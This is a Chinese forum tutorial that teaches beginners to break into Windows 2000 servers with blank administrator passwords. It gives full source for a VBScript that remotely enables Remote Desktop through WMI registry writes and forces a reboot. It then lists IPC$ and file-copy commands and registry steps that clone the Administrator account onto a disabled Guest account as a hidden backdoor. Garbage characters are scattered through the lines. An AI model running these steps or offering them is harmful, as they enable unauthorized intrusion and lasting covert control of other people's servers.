|
一次简单的3389入侵过程 ' e# w$ O0 D+ }; J
原创:caozhe(草哲)
! n/ I) ?: f& ^. J+ s" I来源:中国欲网技术论坛--草哲
/ u& |, `+ F$ B; @' I2 X 4 \- t3 b! h' I2 y# v
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!
9 y& b5 S, D( K
+ G: O( I1 {; ?+ t' [于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!3 H% U' K; J1 J. y; U5 G* G% Z p7 k
要入侵,我建议你在win2000环境下来*作!
; y3 S# g$ A6 W, i, a
/ f b- |' c) P$ v( Y0 u( J首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
8 z9 X4 @* @" g6 \' r. ]$ E& J4 s扫描的X-Scan V2.3、WINNTAutoAttack、流光!
- \6 ~( V3 B2 vX-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
# |, {( g* ?- M' q! G+ m% `远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)5 f0 A/ W# F- \1 U( S
克隆帐户用个psu就可以了~!
' X& T4 g6 r) X. L- o% ?7 h( O+ {0 f8 h m1 }7 W+ [7 Y) l7 s
OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空
9 O$ u7 B* w+ f, N- i运行CMD(2000下的DOS),我们给它开终端!
+ x/ {, ^9 i( d0 F1 n/ T# f命令如下!
; X0 O! d# s0 e1 Jcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr5 _- w" d8 v8 R
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)! ?0 ?! A/ q/ B- s
) [6 I# c7 S1 o }因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!9 v- _# X, V9 _( {* B4 R
# T2 T( i m9 K2 }0 C) X) v一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
* K2 d& n$ ~2 ^安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛! ^% u9 q: i8 ?
4 T0 c( v# c2 D6 K: i! ~回到DOS下!我们建立IPC$连接!
' V+ \$ I5 k- H+ ?2 `1 M. wnet use \\120.0.0.1\ipc$ "" /user:"administrator" g* c" w3 G. [/ h9 {
这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下! ?' @2 i2 `4 j w0 ~
copy psu.exe \\120.0.0.1\admin$\system32
# u- C o) \+ o4 ~/ r上传完毕后,开始在肉鸡做后门帐户!看肉鸡!
3 \' B5 J/ ~- Y
+ w% p" r0 T1 l/ b' _; F假设guest用户被禁用,我们就是要利用guest做后门帐户!
' M: W6 _. C9 V1 H5 S8 w在该服务器运行CMD,在命令行下输入
: h+ V9 z" r6 e4 v7 c, X4 kpsu -p regedit -i PID7 r+ g, d8 L/ W, t O5 s" H; O/ }
& V& z* w5 \5 q+ Q6 Z P8 _
这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
: V' Z6 f' R6 C1 {$ c; s: F看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458
/ V: t* D2 @9 X+ P; j那么,命令就是这样1 T. E$ n% k9 q/ d6 G. ^8 _" N
psu -p regedit -i 5458
, ?+ H H( ?. ^这样直接打开注册表,可以读取本地sam的信息。
, ]; C2 W. D7 I: m; x打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
+ }' l: G( n& j& ]5 l! x6 E下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!7 G6 w8 V! J1 R
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names/ d; A$ E1 E; g3 ]. Y- q5 [
查看administrator的类型,是if4,再看guest的是if5
i m0 ?/ m, p/ ]; ?7 k好了,知道了类型后,打开
$ G1 E8 \. ] @$ f, R/ }+ yHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4/ x4 R9 {% \2 [9 a
这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开! {" \+ |' H" Y6 U) \
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5. K) Z' U. x, V; s, T# X* m4 K( \+ _
双击右侧的F,把刚复制的粘贴到里面!
4 B( p4 e5 T- {) ?# {" d G7 Z/ I
做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5: Z6 V( V( l& D9 }3 m
和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest# f5 P0 e. {9 u) h
这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。" L5 | x9 X. P, u8 X: y
! b: L) f! c+ y/ C/ \打开CMD,在命令行下输入4 H: n" i0 e/ D
net user guest password. j0 a% X! G$ `% }* X' ^! I
这条命令是给guest设置密码,后面的password就是密码
& e8 `/ ?4 o/ T; I然后输入
+ U9 Y8 R$ S3 G: e8 j+ W5 knet user guest /active:y
+ j( ]2 h- l1 b* M, D这命令是激活guest帐户,然后我们把他禁用* M8 B: C: R" ]4 i8 V9 i
net user guest /active:n( _+ T' P7 z( ?* N; B
上面的三行命令必须在DOS下执行!' O9 ]' t9 S ~# n; x7 w! I
( D3 H2 v$ S7 @% v, {* K
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!& U9 |5 D; P4 I/ P
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!( P' i9 z. T; w( T
* A8 C |6 z! S9 b* D$ }注销一下,用guest登陆吧!- s$ C+ j% e, s
; G) J% I3 A. G打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!( e7 o! v& K7 j0 R9 r9 J
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!$ g) i# u: ?$ d) R; m' w% h3 o8 R
& }: l0 ]) R8 a1 o. A
因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!
$ \! F, E- R% ^3 h5 M' Y* k8 }& ` X) g6 H p5 q0 z; i v: m8 q! s
----------------------------------------------------------------------
( d0 r1 ]% H/ W E. q0 V以下是开终端的脚本,把它存为*.vbe
9 ]: [6 e. y3 _; e2 Ron error resume next' ?: x+ `0 I9 N* x% `
set outstreem=wscript.stdout
& p- t) E+ a8 N; [9 tset instreem=wscript.stdin" l% s" n6 U9 ~/ l. |
if (lcase(right(wscript.fullname,11))="wscript.exe") then" s) H- l; M" ~
set objShell=wscript.createObject("wscript.shell")
7 H& O8 R$ ]7 C, A5 |3 b. k objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
/ q/ P! l9 k$ d/ O' } wscript.quit5 w8 H6 }: G0 ^' `& Y
end if
2 s0 O) s% ^4 r$ A# J6 ~if wscript.arguments.count<3 then
: c8 f# F5 y2 a2 @& \ usage()
( F9 ~; k; y) Y" u9 b2 n6 L2 _' ` wscript.echo "Not enough parameters."
( D- [0 j: _' ?( E0 e wscript.quit
3 b" \; W! h3 d/ @' `+ Dend if2 W S1 v& @: s0 X( T3 q
& M# `. h% r# R, Q, i* D d
ipaddress=wscript.arguments(0)
& d- e. h- S( a b, `username=wscript.arguments(1)
' _/ ^7 l! o4 k( V- h7 Ppassword=wscript.arguments(2)
& [' B" k) m1 q, k! T* mif wscript.arguments.count>3 then
9 \; b4 P$ j" [& Q/ f: u9 P ` port=wscript.arguments(3). h8 q. H. u' u! n. G# O: i, Q
else
! ^- k: g4 l. A4 N$ _ port=33890 y) Y5 L4 m4 ~+ Z" ?
end if1 Z. u0 _6 _2 t" S8 @, p
if not isnumeric(port) or port<1 or port>65000 then
- l `% V4 d& ^0 d, P1 t wscript.echo "The number of port is error."
- D* g5 J6 g0 s: v0 K1 q. T& ^ wscript.quit
0 }$ l9 ~5 L$ Y9 q/ @, e2 r& Jend if- o9 q3 X8 k. }* w! ?) E9 v7 T
if wscript.arguments.count>4 then
& S8 ]4 j5 V6 A/ D) w$ f reboot=wscript.arguments(4)+ e* T- B+ r+ F8 N' s
else
6 h8 H& c! `0 Z& p" x# J reboot=""
5 C' I0 t3 X% T6 G! L5 Aend if
% |4 p9 w9 U0 q$ O% H/ E9 g& E W
usage()# u" H2 |- J9 o# X9 P8 h
outstreem.write "Conneting "&ipaddress&" ...."* }$ Z! j: U. E& X1 a3 S8 X
set objlocator=createobject("wbemscripting.swbemlocator")$ D/ G- ]) I8 t4 l& |9 F, B U; D
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
! t* k1 m6 ]5 P5 Gshowerror(err.number)
4 q! m U3 u! \" Hobjswbemservices.security_.privileges.add 23,true
( ^( R' w0 |! k3 |+ C7 j x+ f+ Sobjswbemservices.security_.privileges.add 18,true
_3 q! _6 ^1 ~8 s) f
. b8 ` P0 ^5 l& X0 f- A& H1 z7 koutstreem.write "Checking OS type...."
5 t' s. ]: W8 U# r% |set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
/ k0 C( |/ S! b' Mfor each objinstoscaption in colinstoscaption
4 V9 h0 q( s) z6 C if instr(objinstoscaption.caption,"Server")>0 then( |6 }' m! k8 s% ^
wscript.echo "OK!"' q* f1 C3 L% d2 N* ]4 e
else
5 m5 q- @4 }1 ` wscript.echo "OS type is "&objinstoscaption.caption
3 l: H) T* ?0 u6 \+ m% B. N outstreem.write "Do you want to cancel setup?[y/n]"
- O9 G7 l0 ~& j6 H: V* F }1 Q strcancel=instreem.readline
, o8 }5 N! W/ l: o6 } if lcase(strcancel)<>"n" then wscript.quit% M a& `2 s1 q9 C
end if
: s3 q/ K) q' l' _8 l; M/ m% Vnext$ L! S" c) n# K; s& x3 I
* i- R, v& ?5 j' p& Eoutstreem.write "Writing into registry ...."
) n5 L8 }/ u1 }* M: F0 Y$ ~" Nset objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
$ ^/ u5 g+ m7 I8 n" mHKLM=&h80000002
" O+ C# I- q, \4 G/ j `' iHKU=&h800000036 v8 X' i4 J* r2 D) d3 T! U
with objinstreg
: I& f3 N; k! ^.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
k7 I# G# q6 B! P.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0& _) H, [4 \4 v% g8 t- m
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"& e4 ?8 K7 o8 `! N
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1+ b6 `. Y8 r. o. {8 Y
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1% ^0 N" p9 \; ?% A" E5 |0 l
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
9 a/ D: |8 J9 f5 V. y/ P3 m. D) _.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
% L# E6 t; J( F.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
& f6 v. B$ U2 n+ \.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port# a$ L! Q' |8 o) C" K" W+ e" P
end with% F$ Q3 k& e O# `0 v
showerror(err.number)) A: Y0 a! |- \& K5 W7 V8 L
' F5 S @/ f; i$ C3 T
rebt=lcase(reboot)
7 o/ O2 {- `% zflag=03 H. b9 U# C1 [$ L* F4 f7 H* d
if rebt="/r" or rebt="-r" or rebt="\r" then flag=26 d7 i% J6 B! F9 i
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6, [. [# T- J9 m
if flag<>0 then
& J2 d; ^8 B1 m( {0 ]3 F outstreem.write "Now, reboot target...."0 A1 t% B- P5 n* {% d. ~3 _* s
strwqlquery="select * from win32_operatingsystem where primary='true'"
1 g# A- f" s& h" W set colinstances=objswbemservices.execquery(strwqlquery)2 w) Y/ j. h9 k6 G, R- y# w/ \0 e* P
for each objinstance in colinstances$ K G! |' H. T' v
objinstance.win32shutdown(flag), w2 H0 _0 D+ A4 \
next
9 K1 p* L5 t6 }2 B* O Q0 e showerror(err.number)
, z! i# O& u+ h2 delse/ x3 z# `/ ]0 ]0 y u$ a E
wscript.echo "You need to reboot target."&vbcrlf&"Then,"! X) T: B, q- K7 O
end if" M5 y) c8 l0 t. h8 B
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"$ j2 c) q) r' @: w. v" ~2 c8 ]3 i$ m
t6 E& D& U3 m9 c) u1 R7 u3 c' ]
function showerror(errornumber)2 u9 ^$ H. }5 ^2 a% H6 J
if errornumber Then3 Y5 Q$ P3 H, f; u6 F5 m" P
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
# e5 B9 E P) J if err.description <> "" then0 O9 l. \3 {, [6 n( [& y# j
wscript.echo "Error description: "&err.description&"."
5 g1 g- g P: C& v) w end if: T, y0 [( N% G0 S6 J. f" O
wscript.quit" o, Z/ l! H' ^# T/ F; G
else4 |7 Y E6 L: O/ S+ y m' e
wscript.echo "OK!"
7 r/ X9 O i- v' m$ f1 oend if+ m: L& ^7 ]: S) q: ? D
end function7 x s2 B$ v z% w" A) a
{ X O& S( k0 U7 ^ B, Nfunction usage()
2 C; r+ G: w* i( M7 S- Cwscript.echo string(79,"*")4 x) M+ C2 {, I: }; G+ e4 C. H9 p' U
wscript.echo "ROTS v1.05". [' }( h; d. n' q# K" r+ \# A
wscript.echo "Remote Open Terminal services Script, by 草哲"
( j' J/ j/ ?; e. Bwscript.echo "Welcome to visite www.5458.net"* V6 q' z# d/ k' b2 ?: r3 B! V F
wscript.echo "Usage:"
7 _* ~4 e2 |- M; Ewscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
8 O" i8 w% }! Xwscript.echo "port: default number is 3389."8 n* p( l) i9 }
wscript.echo "/r: auto reboot target."" b3 x7 O5 V. F7 J1 i
wscript.echo "/fr: auto force reboot target."
& i1 V, U. t. n: a) zwscript.echo string(79,"*")&vbcrlf& Z9 j$ s9 L3 l2 g
end function
6 R5 a4 \+ x0 `% F: e8 F1 S! P. A ( x+ e. B$ W! Y3 t
转自安全焦点 |
|